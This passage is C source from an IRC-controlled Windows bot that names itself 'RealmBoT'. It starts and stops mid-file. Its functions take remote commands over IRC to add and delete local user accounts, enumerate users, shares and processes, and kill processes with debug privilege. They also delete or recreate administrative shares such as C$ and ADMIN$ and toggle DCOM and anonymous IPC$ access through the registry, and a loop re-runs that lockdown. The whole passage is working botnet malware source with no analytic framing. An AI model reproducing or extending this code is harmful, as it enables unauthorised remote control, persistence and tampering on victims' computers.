  2958. LPWSTR wShareName = (LPWSTR)AsWideString(ShareName);
  2959.  
  2960. NET_API_STATUS nStatus = fNetShareDel(wServerName,wShareName,0);
  2961.  
  2962. return (nStatus);
  2963. }
  2964.  
  2965. BOOL ListShares(SOCKET sock, char *chan, BOOL notice, char *ServerName)
  2966. {
  2967. char buffer[IRCLINE];
  2968.  
  2969. PSHARE_INFO_502 pBuf,p;
  2970. NET_API_STATUS nStatus;
  2971. LPWSTR wServerName = (LPWSTR)AsWideString(ServerName);
  2972. DWORD entriesread=0,totalread=0,resume=0;
  2973.  
  2974. irc_privmsg(sock,chan,"Share name: Resource: Uses: Desc:",notice);
  2975.  
  2976. do {
  2977. nStatus = fNetShareEnum(wServerName, 502, (LPBYTE *) &pBuf, -1, &entriesread, &totalread, &resume);
  2978.  
  2979. if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) {
  2980. p = pBuf;
  2981.  
  2982. for(unsigned int i=1;i <= entriesread;i++) {
  2983. sprintf(buffer,"%-14S %-24S %-6u %-4s",p->shi502_netname, p->shi502_path, p->shi502_current_uses, IsVSD(fIsValidSecurityDescriptor(p->shi502_security_descriptor)));
  2984. irc_privmsg(sock,chan,buffer,notice,TRUE);
  2985.  
  2986. p++;
  2987. }
  2988.  
  2989. fNetApiBufferFree(pBuf);
  2990. } else {
  2991. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». Share list error: %s <%ld>",NasError(nStatus),nStatus);
  2992. irc_privmsg(sock,chan,buffer,notice);
  2993. }
  2994. } while (nStatus == ERROR_MORE_DATA);
  2995.  
  2996. if(nStatus != ERROR_SUCCESS)
  2997. return FALSE;
  2998.  
  2999. return TRUE;
  3000. }
  3001.  
  3002. char *Users(int action, char *Username, char *Password, SOCKET sock, char *chan, BOOL notice)
  3003. {
  3004. static char buffer[IRCLINE];
  3005. NET_API_STATUS nStatus = 0;
  3006.  
  3007. if (Username) {
  3008. switch (action) {
  3009. case NET_ADD:
  3010. if(Username && Password)
  3011. nStatus = UserAdd(NULL,Username,Password);
  3012. else
  3013. nStatus = ERROR_INVALID_PARAMETER;
  3014. break;
  3015. case NET_DELETE:
  3016. nStatus = UserDel(NULL, Username);
  3017. break;
  3018. case NET_INFO:
  3019. nStatus = UserInfo(NULL,Username,sock,chan,notice);
  3020. break;
  3021. default:
  3022. break;
  3023. }
  3024.  
  3025. if (nStatus == NERR_Success)
  3026. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». %s username: '%s'.", netcommand[action].completed, Username);
  3027. else
  3028. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». %s: Error with username: '%s'. %s", netcommand[action].action, Username, NasError(nStatus));
  3029. }
  3030. else
  3031. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». %s: No username specified.", netcommand[action].action);
  3032.  
  3033. return (buffer);
  3034. }
  3035.  
  3036. NET_API_STATUS UserAdd(char *ServerName, char *Username, char *Password)
  3037. {
  3038. USER_INFO_1 ui;
  3039. DWORD dwLevel = 1, dwError = 0;
  3040.  
  3041. LPWSTR wServerName = (LPWSTR)AsWideString(ServerName);
  3042. ui.usri1_name = (LPWSTR)AsWideString(Username);
  3043. ui.usri1_password = (LPWSTR)AsWideString(Password);
  3044. ui.usri1_priv = USER_PRIV_USER;
  3045. ui.usri1_home_dir = NULL;
  3046. ui.usri1_comment = NULL;
  3047. ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
  3048. ui.usri1_script_path = NULL;
  3049.  
  3050. NET_API_STATUS nStatus = fNetUserAdd(wServerName,dwLevel,(LPBYTE)&ui,&dwError);
  3051.  
  3052. return (nStatus);
  3053. }
  3054.  
  3055. NET_API_STATUS UserDel(char *ServerName, char *Username)
  3056. {
  3057. LPWSTR wServerName = (LPWSTR)AsWideString(ServerName);
  3058. LPWSTR wUsername = (LPWSTR)AsWideString(Username);
  3059.  
  3060. NET_API_STATUS nStatus = fNetUserDel(wServerName,wUsername);
  3061.  
  3062. return (nStatus);
  3063. }
  3064.  
  3065. NET_API_STATUS UserInfo(char *ServerName, char *Username, SOCKET sock, char *chan, BOOL notice)
  3066. {
  3067. char buffer[IRCLINE], *user_priv;
  3068.  
  3069. LPUSER_INFO_11 pBuf = NULL;
  3070. DWORD dwLevel = 11;
  3071. LPWSTR wServerName = (LPWSTR)AsWideString(ServerName);
  3072. LPWSTR wUsername = (LPWSTR)AsWideString(Username);
  3073.  
  3074. NET_API_STATUS nStatus = fNetUserGetInfo(wServerName,wUsername,dwLevel,(LPBYTE *)&pBuf);
  3075.  
  3076. if (nStatus == NERR_Success) {
  3077. if (pBuf != NULL) {
  3078. sprintf(buffer,"Account: %S",pBuf->usri11_name);
  3079. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3080. sprintf(buffer,"Full Name: %S",pBuf->usri11_full_name);
  3081. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3082. sprintf(buffer,"User Comment: %S",pBuf->usri11_usr_comment);
  3083. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3084. sprintf(buffer,"Comment: %S",pBuf->usri11_comment);
  3085. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3086. switch(pBuf->usri11_priv) {
  3087. case USER_PRIV_GUEST:
  3088. user_priv = TEXT("Guest");
  3089. break;
  3090. case USER_PRIV_USER:
  3091. user_priv = TEXT("User");
  3092. break;
  3093. case USER_PRIV_ADMIN:
  3094. user_priv = TEXT("Administrator");
  3095. break;
  3096. default:
  3097. user_priv = TEXT("Unknown");
  3098. break;
  3099. }
  3100. sprintf(buffer,"Privilege Level: %s",user_priv);
  3101. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3102. sprintf(buffer,"Auth Flags: %d",pBuf->usri11_auth_flags);
  3103. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3104. sprintf(buffer,"Home Directory: %S",pBuf->usri11_home_dir);
  3105. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3106. sprintf(buffer,"Parameters: %S",pBuf->usri11_parms);
  3107. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3108. sprintf(buffer,"Password Age: %d",pBuf->usri11_password_age);
  3109. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3110. sprintf(buffer,"Bad Password Count: %d",pBuf->usri11_bad_pw_count);
  3111. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3112. sprintf(buffer,"Number of Logins: %d",pBuf->usri11_num_logons);
  3113. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3114. sprintf(buffer,"Last Logon: %d",pBuf->usri11_last_logon);
  3115. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3116. sprintf(buffer,"Last Logoff: %d",pBuf->usri11_last_logoff);
  3117. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3118. sprintf(buffer,"Logon Server: %S",pBuf->usri11_logon_server);
  3119. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3120. sprintf(buffer,"Workstations: %S",pBuf->usri11_workstations);
  3121. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3122. sprintf(buffer,"Country Code: %d",pBuf->usri11_country_code);
  3123. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3124. sprintf(buffer,"User's Language: %d",pBuf->usri11_code_page);
  3125. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3126. sprintf(buffer,"Max. Storage: %d",pBuf->usri11_max_storage);
  3127. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3128. sprintf(buffer,"Units Per Week: %d",pBuf->usri11_units_per_week);
  3129. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3130. }
  3131. }
  3132. else {
  3133. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». User info error: <%ld>",nStatus);
  3134. irc_privmsg(sock,chan,buffer,notice);
  3135. }
  3136.  
  3137. if (pBuf != NULL)
  3138. fNetApiBufferFree(pBuf);
  3139.  
  3140. return (nStatus);
  3141. }
  3142.  
  3143. BOOL ListUsers(SOCKET sock, char *chan, BOOL notice, char *ServerName)
  3144. {
  3145.  
  3146. char buffer[IRCLINE];
  3147.  
  3148. LPUSER_INFO_0 pBuf=NULL, pTmpBuf;
  3149. LPWSTR wServerName = (LPWSTR)AsWideString(ServerName);
  3150. DWORD dwLevel=0,dwPrefMaxLen=MAX_PREFERRED_LENGTH,dwEntriesRead=0,
  3151. dwTotalEntries=0,dwResumeHandle=0,dwTotalCount=0;
  3152. NET_API_STATUS nStatus;
  3153.  
  3154. irc_privmsg(sock,chan,"Username accounts for local system:",notice);
  3155.  
  3156. do {
  3157. nStatus = fNetUserEnum(wServerName,dwLevel,FILTER_NORMAL_ACCOUNT,(LPBYTE*)&pBuf,
  3158. dwPrefMaxLen,&dwEntriesRead,&dwTotalEntries,&dwResumeHandle);
  3159.  
  3160. if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) {
  3161. if ((pTmpBuf = pBuf) != NULL) {
  3162. for (DWORD i = 0;i < dwEntriesRead; i++) {
  3163. assert(pTmpBuf != NULL);
  3164.  
  3165. if (pTmpBuf == NULL) {
  3166. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». An access violation has occured.");
  3167. irc_privmsg(sock,chan,buffer,notice);
  3168. break;
  3169. }
  3170.  
  3171. sprintf(buffer," %S",pTmpBuf->usri0_name);
  3172. irc_privmsg(sock,chan,buffer,notice,TRUE);
  3173.  
  3174. pTmpBuf++;
  3175. dwTotalCount++;
  3176. }
  3177. }
  3178. } else {
  3179. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». User list error: %s <%ld>",NasError(nStatus),nStatus);
  3180. irc_privmsg(sock,chan,buffer,notice);
  3181. }
  3182.  
  3183. if (pBuf != NULL) {
  3184. fNetApiBufferFree(pBuf);
  3185. pBuf = NULL;
  3186. }
  3187. } while (nStatus == ERROR_MORE_DATA);
  3188.  
  3189. if (pBuf != NULL)
  3190. fNetApiBufferFree(pBuf);
  3191.  
  3192. sprintf(buffer,"Total users found: %d.",dwTotalCount);
  3193. irc_privmsg(sock,chan,buffer,notice);
  3194.  
  3195. if(nStatus != ERROR_SUCCESS)
  3196. return FALSE;
  3197.  
  3198. return TRUE;
  3199. }
  3200.  
  3201. static char *NasError(NET_API_STATUS nStatus)
  3202. {
  3203. static char retError[90];
  3204.  
  3205. switch (nStatus) {
  3206. case ERROR_ACCESS_DENIED:
  3207. sprintf(retError,"Access denied.");
  3208. break;
  3209. case ERROR_INVALID_LEVEL:
  3210. sprintf(retError,"Level parameter is invalid.");
  3211. break;
  3212. case ERROR_INVALID_NAME:
  3213. sprintf(retError,"The name is invalid.");
  3214. break;
  3215. case ERROR_INVALID_PARAMETER:
  3216. sprintf(retError,"Invalid parameter.");
  3217. break;
  3218. case ERROR_NOT_ENOUGH_MEMORY:
  3219. sprintf(retError,"Not enough memory.");
  3220. break;
  3221. case ERROR_NOT_SUPPORTED:
  3222. sprintf(retError,"This network request is not supported.");
  3223. break;
  3224. case ERROR_BAD_NETPATH:
  3225. sprintf(retError,"Server name not found.");
  3226. break;
  3227. case NERR_NetNameNotFound:
  3228. sprintf(retError,"Share not found.");
  3229. break;
  3230. case NERR_DuplicateShare:
  3231. sprintf(retError,"Duplicate share name.");
  3232. break;
  3233. case NERR_RedirectedPath:
  3234. sprintf(retError,"Invalid for redirected resource.");
  3235. break;
  3236. case NERR_UnknownDevDir:
  3237. sprintf(retError,"Device or directory does not exist.");
  3238. break;
  3239. case NERR_InvalidComputer:
  3240. sprintf(retError,"The computer name is invalid.");
  3241. break;
  3242. case NERR_NotPrimary:
  3243. sprintf(retError,"The operation is allowed only on the primary domain controller of the domain.");
  3244. break;
  3245. case NERR_GroupExists:
  3246. sprintf(retError,"The group already exists.");
  3247. break;
  3248. case NERR_UserExists:
  3249. sprintf(retError,"The user account already exists.");
  3250. break;
  3251. case NERR_PasswordTooShort:
  3252. sprintf(retError,"The password is shorter than required (or does not meet the password policy requirement.)");
  3253. break;
  3254. case NERR_UseNotFound:
  3255. sprintf(retError,"Network connection not found.");
  3256. break;
  3257. case NERR_NetworkError:
  3258. sprintf(retError,"A general failure occurred in the network hardware.");
  3259. break;
  3260. case NERR_NameNotFound:
  3261. case NERR_UserNotFound:
  3262. sprintf(retError,"The user name could not be found.");
  3263. break;
  3264. default:
  3265. sprintf(retError,"An unknown error occurred.");
  3266. break;
  3267. }
  3268.  
  3269. return (retError);
  3270. }
  3271.  
  3272. char *NetSend(char *msg, SOCKET sock, char *chan, BOOL notice)
  3273. {
  3274. static char buffer[IRCLINE];
  3275.  
  3276. wchar_t wserver[MAX_PATH+4], wmsg[IRCLINE];
  3277. mbstowcs(wmsg, msg, IRCLINE);
  3278.  
  3279. char Server[MAX_PATH+4];
  3280. DWORD szServer = sizeof(Server);
  3281. GetComputerName(Server, &szServer);
  3282. mbstowcs(wserver, Server, MAX_PATH+4);
  3283.  
  3284. NET_API_STATUS nStatus = fNetMessageBufferSend(NULL, wserver, NULL, (LPBYTE)&wmsg, wcslen(wmsg)*2);
  3285.  
  3286. if(nStatus == NERR_Success)
  3287. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». Message sent successfully.");
  3288. else
  3289. sprintf(buffer,".t.rn(01a) [net.m.d.l] .»». %s <Server: %S> <Message: %S>", NasError(nStatus), wserver, wmsg);
  3290.  
  3291. return (buffer);
  3292. }
  3293. #endif
  3294.  
  3295. #ifndef NO_PROCESS
  3296.  
  3297. // globals
  3298.  
  3299.  
  3300.  
  3301. BOOL AdjustPrivileges(char *pPriv, BOOL add)
  3302. {
  3303. BOOL bRet = FALSE;
  3304. TOKEN_PRIVILEGES tkp;
  3305. HANDLE hToken;
  3306.  
  3307. if (!fOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
  3308. return bRet;
  3309.  
  3310. if (!fLookupPrivilegeValue(NULL, pPriv, &tkp.Privileges[0].Luid)) {
  3311. CloseHandle(hToken);
  3312. return bRet;
  3313. }
  3314.  
  3315. tkp.PrivilegeCount = 1;
  3316. if (add)
  3317. tkp.Privileges[0].Attributes |= SE_PRIVILEGE_ENABLED;
  3318. else
  3319. tkp.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
  3320. tkp.Privileges[0].Attributes);
  3321.  
  3322. bRet=fAdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES) NULL, 0);
  3323.  
  3324. CloseHandle(hToken);
  3325.  
  3326. return bRet;
  3327. }
  3328.  
  3329. int listProcesses(SOCKET sock, char *chan, BOOL notice, char *proccess, BOOL killthread, BOOL full)
  3330. {
  3331. char sendbuf[IRCLINE];
  3332.  
  3333. HANDLE hProcess, hProcess2;
  3334. PROCESSENTRY32 pe32 = {0};
  3335. MODULEENTRY32 me32 = {0};
  3336.  
  3337. if (fCreateToolhelp32Snapshot && fProcess32First && fProcess32Next) {
  3338. AdjustPrivileges(SE_DEBUG_NAME, TRUE);
  3339. if ((hProcess = fCreateToolhelp32Snapshot(TH32CS_SNAPALL, 0)) != INVALID_HANDLE_VALUE) {
  3340. pe32.dwSize = sizeof(PROCESSENTRY32);
  3341. if (fProcess32First(hProcess, &pe32)) {
  3342. while (fProcess32Next(hProcess, &pe32)) {
  3343. if (killthread) {
  3344.  
  3345. }
  3346. else if (!proccess) {
  3347. if (chan) {
  3348. hProcess2 = fCreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe32.th32ProcessID);
  3349. me32.dwSize = sizeof(MODULEENTRY32);
  3350. if (full) {
  3351. if (fModule32First(hProcess2, &me32))
  3352. sprintf(sendbuf," %s (%d)",me32.szExePath,pe32.th32ProcessID);
  3353. else
  3354. sprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
  3355. } else
  3356. sprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
  3357. irc_privmsg(sock,chan,sendbuf,notice,TRUE);
  3358. CloseHandle(hProcess2);
  3359. }
  3360. }
  3361. else {
  3362. if (strcmp(pe32.szExeFile,proccess) == 0) {
  3363. hProcess2 = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
  3364. CloseHandle(hProcess);
  3365.  
  3366. if (!TerminateProcess(hProcess2,0)) {
  3367. CloseHandle(hProcess2);
  3368.  
  3369. return 0;
  3370. }
  3371. return 1;
  3372. }
  3373. }
  3374. }
  3375. }
  3376. CloseHandle(hProcess);
  3377. }
  3378. AdjustPrivileges(SE_DEBUG_NAME, FALSE);
  3379. }
  3380.  
  3381. return 0;
  3382. }
  3383.  
  3384. DWORD WINAPI listProcessesThread(LPVOID param)
  3385. {
  3386. char sendbuf[IRCLINE];
  3387.  
  3388. LPROC lproc = *((LPROC *)param);
  3389. LPROC *lprocp = (LPROC *)param;
  3390. lprocp->gotinfo = TRUE;
  3391.  
  3392. sprintf(sendbuf,"RealmBoT (processes.p.l.g) .»». Listing processes:");
  3393. if (!lproc.silent) irc_privmsg(lproc.sock,lproc.chan,sendbuf,lproc.notice);
  3394.  
  3395. if (listProcesses(lproc.sock,lproc.chan,lproc.notice,NULL, FALSE, lproc.full) == 0)
  3396. sprintf(sendbuf,"RealmBoT (processes.p.l.g) .»». Process list completed.");
  3397. else
  3398. sprintf(sendbuf,"RealmBoT (processes.p.l.g) .»». Process list failed.");
  3399.  
  3400. if (!lproc.silent) irc_privmsg(lproc.sock, lproc.chan, sendbuf, lproc.notice);
  3401. addlog(sendbuf);
  3402.  
  3403. clearthread(lproc.threadnum);
  3404.  
  3405. ExitThread(0);
  3406. }
  3407.  
  3408. int killProcess(int pid)
  3409. {
  3410. int ret=1;
  3411.  
  3412. HANDLE pHandle;
  3413.  
  3414. if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid)) != NULL)
  3415. if(!TerminateProcess(pHandle,0)) {
  3416. ret=0;
  3417. CloseHandle(pHandle);
  3418. }
  3419.  
  3420. return ret;
  3421. }
  3422.  
  3423.  
  3424. #endif
  3425.  
  3426.  
  3427. #ifndef NO_SECSYSTEM
  3428. int secure_delay=120000;
  3429. #endif
  3430.  
  3431. NetShares ShareList[]={
  3432. {"IPC$",NULL},
  3433. {"ADMIN$",NULL},
  3434. {"C$","C:\\"},
  3435. {"D$","D:\\"}
  3436. };
  3437.  
  3438.  
  3439. DWORD WINAPI SecureThread(LPVOID param)
  3440. {
  3441. SECURE secure = *((SECURE *)param);
  3442. SECURE *secures = (SECURE *)param;
  3443. secures->gotinfo = TRUE;
  3444.  
  3445. if (secure.secure)
  3446. SecureSystem(secure.sock, secure.chan, secure.notice, secure.silent);
  3447. else
  3448. UnSecureSystem(secure.sock, secure.chan, secure.notice, secure.silent);
  3449.  
  3450. clearthread(secure.threadnum);
  3451.  
  3452. ExitThread(0);
  3453. }
  3454.  
  3455. BOOL SecureSystem(SOCKET sock, char *chan, BOOL notice, BOOL silent)
  3456. {
  3457. char sendbuf[IRCLINE];
  3458.  
  3459. if (!noadvapi32) {
  3460. HKEY hKey;
  3461. if(fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey3, 0, KEY_READ|KEY_WRITE, &hKey) == ERROR_SUCCESS) {
  3462. TCHAR szDataBuf[]="N";
  3463. if(fRegSetValueEx(hKey, "EnableDCOM", NULL, REG_SZ, (LPBYTE)szDataBuf, strlen(szDataBuf)) != ERROR_SUCCESS)
  3464. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Disable DCOM failed.");
  3465. else
  3466. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». DCOM disabled.");
  3467. fRegCloseKey(hKey);
  3468. } else
  3469. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Failed to open DCOM registry key.");
  3470. if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE);
  3471. addlog(sendbuf);
  3472.  
  3473. if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
  3474. DWORD dwData = 0x00000001;
  3475. if (fRegSetValueEx(hKey, "restrictanonymous", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS)
  3476. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Failed to restrict access to the IPC$ Share.");
  3477. else
  3478. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Restricted access to the IPC$ Share.");
  3479. fRegCloseKey(hKey);
  3480. } else
  3481. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Failed to open IPC$ Restriction registry key.");
  3482. } else
  3483. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Advapi32.dll couldn't be loaded.");
  3484. if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE);
  3485. addlog(sendbuf);
  3486.  
  3487. if (!nonetapi32) {
  3488. PSHARE_INFO_502 pBuf,p;
  3489. NET_API_STATUS nStatus;
  3490. DWORD entriesread=0,totalread=0,resume=0;
  3491.  
  3492. do {
  3493. nStatus = fNetShareEnum(NULL, 502, (LPBYTE *) &pBuf, -1, &entriesread, &totalread, &resume);
  3494.  
  3495. if(nStatus == ERROR_SUCCESS || nStatus == ERROR_MORE_DATA) {
  3496. p = pBuf;
  3497.  
  3498. for(unsigned int i=1;i <= entriesread;i++) {
  3499. if (p->shi502_netname[wcslen(p->shi502_netname)-1] == '$') {
  3500. if(ShareDel(NULL,AsAnsiString(p->shi502_netname)) == NERR_Success)
  3501. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (secure.p.l.g) .»». Share '%S' deleted.",p->shi502_netname);
  3502. else
  3503. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (secure.p.l.g) .»». Failed to delete '%S' share.",p->shi502_netname);
  3504. if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE);
  3505. addlog(sendbuf);
  3506. }
  3507.  
  3508. p++;
  3509. }
  3510.  
  3511. fNetApiBufferFree(pBuf);
  3512. } else {
  3513. for(int i=0;i < (sizeof(ShareList) / sizeof (NetShares));i++) {
  3514. if(ShareDel(NULL,ShareList[i].ShareName) == NERR_Success)
  3515. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (secure.p.l.g) .»». Share '%s' deleted.",ShareList[i].ShareName);
  3516. else
  3517. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (secure.p.l.g) .»». Failed to delete '%s' share.",ShareList[i].ShareName);
  3518. if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE);
  3519. addlog(sendbuf);
  3520. }
  3521. }
  3522. } while (nStatus == ERROR_MORE_DATA);
  3523. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Network shares deleted.");
  3524. } else
  3525. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Netapi32.dll couldn't be loaded.");
  3526. if (!silent) irc_privmsg(sock,chan, sendbuf, notice);
  3527. addlog(sendbuf);
  3528.  
  3529. return TRUE;
  3530. }
  3531.  
  3532. BOOL UnSecureSystem(SOCKET sock, char *chan, BOOL notice, BOOL silent)
  3533. {
  3534. char sendbuf[IRCLINE];
  3535.  
  3536. if (!noadvapi32) {
  3537. HKEY hKey;
  3538. if(fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey3, 0, KEY_READ|KEY_WRITE, &hKey) == ERROR_SUCCESS) {
  3539. TCHAR szDataBuf[]="Y";
  3540. if(fRegSetValueEx(hKey, "EnableDCOM", NULL, REG_SZ, (LPBYTE)szDataBuf, strlen(szDataBuf)) != ERROR_SUCCESS)
  3541. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Enable DCOM failed.");
  3542. else
  3543. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». DCOM enabled.");
  3544. fRegCloseKey(hKey);
  3545. } else
  3546. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Failed to open DCOM registry key.");
  3547. if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE);
  3548. addlog(sendbuf);
  3549.  
  3550. if (fRegOpenKeyEx(HKEY_LOCAL_MACHINE, regkey4, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
  3551. DWORD dwData = 0x00000000;
  3552. if (fRegSetValueEx(hKey, "restrictanonymous", 0, REG_DWORD, (LPBYTE) &dwData, sizeof(DWORD)) != ERROR_SUCCESS)
  3553. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Failed to unrestrict access to the IPC$ Share.");
  3554. else
  3555. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Unrestricted access to the IPC$ Share.");
  3556. fRegCloseKey(hKey);
  3557. } else
  3558. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Failed to open IPC$ restriction registry key.");
  3559. } else
  3560. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Advapi32.dll couldn't be loaded.");
  3561. if (!silent) irc_privmsg(sock,chan, sendbuf, notice, TRUE);
  3562. addlog(sendbuf);
  3563.  
  3564. if (!nonetapi32) {
  3565. for(int i=0;i < ((sizeof(ShareList) / sizeof (NetShares)) - 2);i++) {
  3566. if(ShareAdd(NULL,ShareList[i].ShareName,ShareList[i].SharePath) == NERR_Success)
  3567. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (secure.p.l.g) .»». Share '%s' added.",ShareList[i].ShareName);
  3568. else
  3569. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (secure.p.l.g) .»». Failed to add '%s' share.",ShareList[i].ShareName);
  3570. if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE);
  3571. addlog(sendbuf);
  3572. }
  3573.  
  3574. char sharename[10], sharepath[10];
  3575. DWORD dwDrives = GetLogicalDrives();
  3576. for(char cDrive='A'; dwDrives!=0; cDrive++, dwDrives=(dwDrives>>1)) {
  3577. if((dwDrives & 1)==1 && cDrive != 'A') {
  3578. _snprintf(sharename,sizeof(sharename),"%c$",cDrive);
  3579. _snprintf(sharepath,sizeof(sharepath),"%c:\\",cDrive);
  3580.  
  3581. if (fGetDriveType(sharepath) == DRIVE_FIXED) {
  3582. if(ShareAdd(NULL,sharename,sharepath) == NERR_Success)
  3583. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (secure.p.l.g) .»». Share '%s' added.",sharename);
  3584. else
  3585. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (secure.p.l.g) .»». Failed to add '%s' share.",sharename);
  3586. if (!silent) irc_privmsg(sock,chan,sendbuf,notice, TRUE);
  3587. addlog(sendbuf);
  3588. }
  3589. }
  3590. }
  3591.  
  3592. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Network shares added.");
  3593. } else
  3594. sprintf(sendbuf,"RealmBoT (secure.p.l.g) .»». Netapi32.dll couldn't be loaded.");
  3595. if (!silent) irc_privmsg(sock,chan, sendbuf, notice);
  3596. addlog(sendbuf);
  3597.  
  3598. return TRUE;
  3599. }
  3600.  
  3601. #ifndef NO_SECSYSTEM
  3602. DWORD WINAPI AutoSecure(LPVOID param)
  3603. {
  3604. while (1) {
  3605. SecureSystem(0,NULL,FALSE,TRUE);
  3606. Sleep(secure_delay);
  3607. }
  3608. ExitThread (0);
  3609. }
  3610. #endif
  3611. #ifndef NO_WILDCARD
  3612.  
  3613. int wildcardfit(char *wildcard, char *test)
  3614. {
  3615. int fit = 1;
  3616.  
  3617. for (; ('\000' != *wildcard) && (1 == fit) && ('\000' != *test); wildcard++) {
  3618. switch (*wildcard) {
  3619. case '[':
  3620. wildcard++;
  3621. fit = set (&wildcard, &test);
  3622. break;
  3623. case '?':
  3624. test++;
  3625. break;
  3626. case '*':
  3627. fit = asterisk (&wildcard, &test);
  3628. wildcard--;
  3629. break;
  3630. default:
  3631. fit = (int) (*wildcard == *test);
  3632. test++;
  3633. }
  3634. }
  3635. while ((*wildcard == '*') && (1 == fit))
  3636. wildcard++;
  3637.  
  3638. return ((int) ((1 == fit) && ('\0' == *test) && ('\0' == *wildcard)));
  3639. }
  3640.  
  3641. int set(char **wildcard, char **test)
  3642. {
  3643. int fit = 0, negation = 0, at_beginning = 1;
  3644.  
  3645. if ('!' == **wildcard) {
  3646. negation = 1;
  3647. (*wildcard)++;
  3648. }
  3649. while ((']' != **wildcard) || (1 == at_beginning)) {
  3650. if (0 == fit) {
  3651. if (('-' == **wildcard) && ((*(*wildcard - 1)) < (*(*wildcard + 1)))
  3652. && (']' != *(*wildcard + 1)) && (0 == at_beginning)) {
  3653. if (((**test) >= (*(*wildcard - 1))) && ((**test) <= (*(*wildcard + 1)))) {
  3654. fit = 1;
  3655. (*wildcard)++;
  3656. }
  3657. }
  3658. else if ((**wildcard) == (**test))
  3659. fit = 1;
  3660. }
  3661. (*wildcard)++;
  3662. at_beginning = 0;
  3663. }
  3664. if (1 == negation)
  3665. fit = 1 - fit;
  3666. if (1 == fit)
  3667. (*test)++;
  3668.  
  3669. return (fit);
  3670. }
  3671.  
  3672. int asterisk(char **wildcard, char **test)
  3673. {
  3674. int fit = 1;
  3675.  
  3676. (*wildcard)++;
  3677. while (('\000' != (**test)) && (('?' == **wildcard) || ('*' == **wildcard))) {
  3678. if ('?' == **wildcard)
  3679. (*test)++;
  3680. (*wildcard)++;
  3681. }
  3682. while ('*' == (**wildcard))
  3683. (*wildcard)++;
  3684.  
  3685. if (('\0' == (**test)) && ('\0' != (**wildcard)))
  3686. return (fit = 0);
  3687. if (('\0' == (**test)) && ('\0' == (**wildcard)))
  3688. return (fit = 1);
  3689. else {
  3690. if (0 == wildcardfit(*wildcard, (*test))) {
  3691. do {
  3692. (*test)++;
  3693. while (((**wildcard) != (**test)) && ('[' != (**wildcard)) && ('\0' != (**test)))
  3694. (*test)++;
